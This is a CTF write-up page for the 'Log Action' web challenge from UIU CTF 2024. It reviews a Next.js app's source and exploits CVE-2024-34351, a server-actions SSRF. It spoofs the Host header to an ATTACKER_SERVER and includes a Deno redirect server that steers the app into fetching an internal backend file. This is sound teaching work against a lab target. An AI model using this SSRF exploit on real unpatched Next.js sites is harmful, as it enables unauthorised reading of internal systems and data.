CTF Writeups
WebsiteDiscordSocials..
  • CryptoCat's CTF writeups
  • 2025
    • Tsuku
      • Web
        • len_len
        • Flash
        • YAMLwaf
    • CTF@CIT
      • Web
        • Breaking Authentication
        • Commit & Order: Version Control Unit
        • How I Parsed your JSON
        • Mr. Chatbot
        • Keeping Up with the Credentials
  • 2024
    • CryptoCat
      • Summar-AI-ze
    • Intigriti
      • Warmup
        • BabyFlow
        • In Plain Sight
        • IrrORversible
        • Layers
        • Rigged Slot Machine 1
      • Game
        • Bug Squash 1
        • Bug Squash 2
      • Rev
        • Secure Bank
      • Web
        • Biocorp
        • Cat Club
        • Pizza Paradise
        • SafeNotes 2.0
      • Misc
        • Quick Recovery
        • Triage Bot 2
      • Pwn
        • Floormat Sale
        • Retro2Win
        • Rigged Slot Machine 2
        • UAP
      • Crypto
        • Schrodinger's Pad
      • Mobile
        • Cold Storage
      • OSINT
        • No Comment
        • Trackdown
        • Trackdown 2
      • Forensics
        • CTF Mind Tricks
        • Hoarded Flag
        • Password Management
    • CSAW
      • Web
        • Playing on the Backcourts
        • Log Me In
        • Lost Pyramid
        • BucketWars
    • CyberSpace
      • Web
        • Feature Unlocked
    • UIU
      • Web
        • Fare Evasion
        • Log Action
    • Wani
      • Web
        • Bad Worker
        • PoW
        • One Day One Letter
    • Akasec
      • Web
    • HTB Cyber Apocalypse
      • Web
        • Flag Command
        • TimeKORP
        • KORP Terminal
        • Labyrinth Linguist
        • Locktalk
        • SerialFlow
        • Testimonial
  • 2023
    • Intigriti
      • Gamepwn
        • Dark Secrets
      • Misc
        • Triage Bot
      • OSINT
        • Photographs
      • Pwn
        • Floormat Store
      • Web
        • Bug Report Repo
        • My Music
    • Imaginary
      • Web
        • Blank
        • IDORiot
        • Inspection
        • Login
        • Perfect Picture
        • Roks
    • Google
      • Pwn
        • Write-Flag-Where
    • Cyber Apocalypse
      • AI
        • Last Hope
        • Mysterious Learning
      • Crypto
        • Perfect Synchronization
      • Pwn
        • Getting Started
        • Labyrinth
        • Pandora's Box
        • Void
      • Rev
        • Cave System
        • Hunting License
        • Needle in a Haystack
        • Shattered Tablet
        • She Sells Sea Shells
    • Sekai
      • Rev
        • Azusawa's Gacha World
    • Amateurs
      • Web
        • Sanity
        • Waiting an Eternity
    • NahamCon
      • Web
        • Hidden Figures
        • Marmalade 5
        • Obligatory
        • Star Wars
        • Stickers
    • Angstrom
      • Pwn
        • Leek
  • 2022
    • Imaginary (iCTF)
      • Crypto
        • ASE
      • Pwn
        • Links 1
        • Links 2
        • Links 3
        • Open Doors
    • SEETF
      • Pwn
        • 4mats
        • Easy Overflow
      • Rev
        • BabyReeee
      • Web
        • Super-Secure-Requests-Forwarder
    • HTB Cyber Apocalypse
      • Pwn
        • Hellbound
    • Angstrom
      • Pwn
        • Really Obnoxious Problem
        • Wah
        • Whats My Name
        • Where Am I
      • Web
        • Crumbs
        • Xtra Salty Sardines
    • NahamCon
      • Pwn
        • Baby Steps
      • Web
        • Flaskmetal Alchemist
        • Hacker Ts
        • Two for One
    • Pico
      • Forensics
        • Side Channel
      • Pwn
        • Buffer Overflow 1
        • Buffer Overflow 2
        • Buffer Overflow 3
        • Flag Leak
        • Function Overwrite
        • ROPfu
        • RPS
        • Stack Cache
        • Wine
        • X-Sixty-What
      • Rev
        • Wizardlike
      • Web
        • Noted
    • Space Heroes
      • Pwn
        • Vader
      • Web
        • Flag in Space
    • Intigriti
      • Pwn
        • Bird
        • Cake
        • Easy Register
        • Search Engine
    • Dice
      • Pwn
        • Interview Opportunity
  • 2021
    • Pico
      • Pwn
        • Unsubscriptions Are Free
    • Crusaders of Rust (COR)
      • Crypto
        • Fibinary
      • Pwn
        • Chainblock
    • HTB Cyber Santa
      • Crypto
        • Meet Me Halfway
        • Xmas Spirit
      • Pwn
        • Minimelfistic
        • Mr. Snowy
        • Naughty List
        • Sleigh
      • Rev
        • Infiltration
        • Intercept
    • K3rn3l
      • Crypto
        • Badseed
        • Twizzty Buzzinezz
    • HTB x Synack RedTeamFive
      • Misc
        • Context
        • Hotel
      • Pwn
        • Air Supplies
        • Injection Shot
        • Library
        • Recruitment
      • Rev
        • Knock Knock
        • Split
    • KillerQueen
      • Pwn
        • A Kind of Magic
        • Tweety Birb
        • Zoom2Win
    • HacktivityCon
      • Pwn
        • Retcheck
        • The Library
        • Yabo
      • Web
        • Availability
    • CSAW
      • Pwn
        • Alien Math
        • Password Checker
      • Rev
        • Checker
    • HackyHolidays
      • Crypto
        • Cute Invoice
        • Mineslazer
      • Forensics
        • Injection Traffic
        • Power Snacks
      • Pwn
        • Deleted Flag
        • Engine Control
      • Web
        • Skylark
    • HTB Cyber Apocalypse
      • Crypto
        • Phasestream
      • Misc
        • Alien Camp
        • Build Yourself In
      • Pwn
        • Controller
        • System Drop
      • Web
        • Blitzprop
        • E-Tree
        • Wild Goose Hunt
    • Angstrom
      • Pwn
        • Sanity Checks
        • Secure Login
        • Sticky Stacks
        • Tranquil
      • Rev
        • Free Flags
        • Jailbreak
      • Web
        • Jar
Powered by GitBook
On this page
  • Description
  • Recon
  • Source Code
  • Solution
  • SSRF
  1. 2024
  2. UIU
  3. Web

Log Action

Writeup for Log Action (Web) - UIU CTF (2024) 💜

PreviousFare EvasionNextWani

Last updated 4 months ago

Description

I keep trying to log in, but it's not working :'(

Recon

The source code is available for download, so I first spun up a local instance of the challenge with docker-compose up.

The homepage redirects to a login form. The password must be at least 10 characters long, but the validation is client-side, so you can send whatever you like with burp. Still, common credentials like admin:admin are rejected with a "something went wrong" error.

It looks like we've got a Next.js application, but rather than digging through the obfuscated JS in the browser, best to review the source code 🔎

Source Code

The backend simply holds a flag.txt file - does a vulnerability class pop into your mind already? 👀

The frontend has quite a bit of code, so I'll highlight some significant parts. First is the auth.ts. Notice that the admin password is randomised for each login attempt 🧐

export const { auth, signIn, signOut } = NextAuth({
    ...authConfig,
    providers: [
        Credentials({
            async authorize(credentials) {
                const parsedCredentials = z
                    .object({ username: z.string(), password: z.string() })
                    .safeParse(credentials);

                if (parsedCredentials.success) {
                    const { username, password } = parsedCredentials.data;
                    // Using a one-time password is more secure
                    if (
                        username === "admin" &&
                        password === randomBytes(16).toString("hex")
                    ) {
                        return {
                            username: "admin",
                        } as User;
                    }
                }
                throw new CredentialsSignin();
            },
        }),
    ],
});

There's an /admin endpoint, although the tsx file does nothing other than display "You logged in as admin."

An auth.config.ts has some logic surrounding the admin authentication.

export const authConfig = {
    pages: {
        signIn: "/login",
    },
    secret: process.env.AUTH_SECRET,
    callbacks: {
        authorized({ auth, request: { nextUrl } }) {
            const isLoggedIn = !!auth?.user;
            const isOnAdminPage = nextUrl.pathname.startsWith("/admin");
            if (isOnAdminPage) {
                if (isLoggedIn) return true;
                return false; // Redirect unauthenticated users to login page
            } else if (isLoggedIn) {
                return Response.redirect(new URL("/admin", nextUrl));
            }
            return true;
        },
    },
    providers: [],
} satisfies NextAuthConfig;

Finally, actions.ts contains some more code relating to the authentication.

export async function authenticate(
    prevState: string | undefined,
    formData: FormData
) {
    let foundError = false;
    try {
        await signIn("credentials", formData);
    } catch (error) {
        if (error instanceof AuthError) {
            foundError = true;
            switch (error.type) {
                case "CredentialsSignin":
                    return "Invalid credentials.";
                default:
                    return "Something went wrong.";
            }
        }
        throw error;
    } finally {
        if (!foundError) {
            redirect("/admin");
        }
    }
}

At this stage, nothing stands out to me as a potential vulnerability. The next step is to check package.json and see if there are any vulnerable dependencies.

"dependencies": {
    "bcrypt": "^5.1.1",
    "next": "14.1.0",
    "next-auth": "^5.0.0-beta.19",
    "react": "^18.3.1",
    "react-dom": "^18.3.1",
    "zod": "^3.23.8"
  }

Can you guess which one I'm going to look into? That's right, the only one with a fixed version; next. All the other libraries are set to use the latest available version, so if one of those had a vulnerability that the challenge authors intended to include, the challenge would break as soon as it's patched.

Solution

SSRF

The first part covers an SSRF vuln in the _next/image component, which is interesting but irrelevant to this challenge. However, the second section focuses on "SSRF in Server Actions" - remember we saw an actions.ts file? 💡

I won't cover server actions or dive into the affected code (read the blog!!). Instead, I'll try to stick to the practical steps (TLDR).

  • If a server action responds with a redirect starting with / (e.g., a redirect to /login), the server will fetch the result of the redirect server side and return it to the client.

  • However, the Host header is taken from the client.

  • Therefore, if we set a host header to an internal host, NextJS will fetch the response from that host instead of the app itself (SSRF).

I checked through the source code again, looking for valid redirects:

  1. redirect("/admin") in actions.ts and auth.config.js, but it's only triggered after a successful login.

  2. redirect("/login") in page.tsx (logout), which looks promising!

action={async () => {
	  "use server";
	  await signOut({ redirect: false });
	  redirect("/login");
}}

Fortunately, we don't need to be logged in to access the /logout endpoint 🙏

Therefore, we can intercept the request and insert our ATTACKER_SERVER domain as the Host and Origin header values. Note that the URL doesn't matter since the Next-Action header value is used to identify the action.

The ATTACKER_SERVER gets a hit ✅

We need to exfiltrate data, so let's follow the remainder of the blog post:

  • Set up a server that takes requests on any path.

  • On any HEAD request, return a 200 with Content-Type: text/x-component.

  • On a GET request, return a 302 to our intended SSRF target.

  • When NextJS fetches from our server, it will satisfy the preflight check on our HEAD request but will follow the redirect on GET, giving us a full read SSRF!

Putting it all together, we modify the supplied PoC.

Deno.serve((request: Request) => {
    console.log(
        "Request received: " +
            JSON.stringify({
                url: request.url,
                method: request.method,
                headers: Array.from(request.headers.entries()),
            })
    );
    // Head - 'Content-Type', 'text/x-component');
    if (request.method === "HEAD") {
        return new Response(null, {
            headers: {
                "Content-Type": "text/x-component",
            },
        });
    }
    // Get - redirect to flag
    if (request.method === "GET") {
        return new Response(null, {
            status: 302,
            headers: {
                Location: "http://backend/flag.txt",
            },
        });
    }
});

So, we will respond to the initial HEAD request with a 200 OK of content-type text/x-component, which triggers a GET request to our server. At this point, we issue a 302 redirect to the flag.txt file on the backend.

That's it - let's serve the PoC using deno.

deno run --allow-net --allow-read main.ts
Listening on http://localhost:8000/

Reissue the request in burp and ensure the requests line up as expected in our server log.

They do, and we receive the fake flag 😊

All that's left is to repeat the exploit against the remote server and receive the real flag 😏

Flag: uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

I proceeded to Google next 14.1.0 exploit, and one of the , highlighting an vulnerability (CVE-2024-34351) that is present in next versions <14.1.1.

So, the SSRF is in the very next release after this one - what a coincidence 😆 Maybe this is the vulnerability class you were thinking about earlier?

Assetnote discovered the vulnerability, and they released an excellent detailing the discovery (including PoC), which I highly recommend reading in its entirety.

first results is from Snyk
SSRF
patched
blog post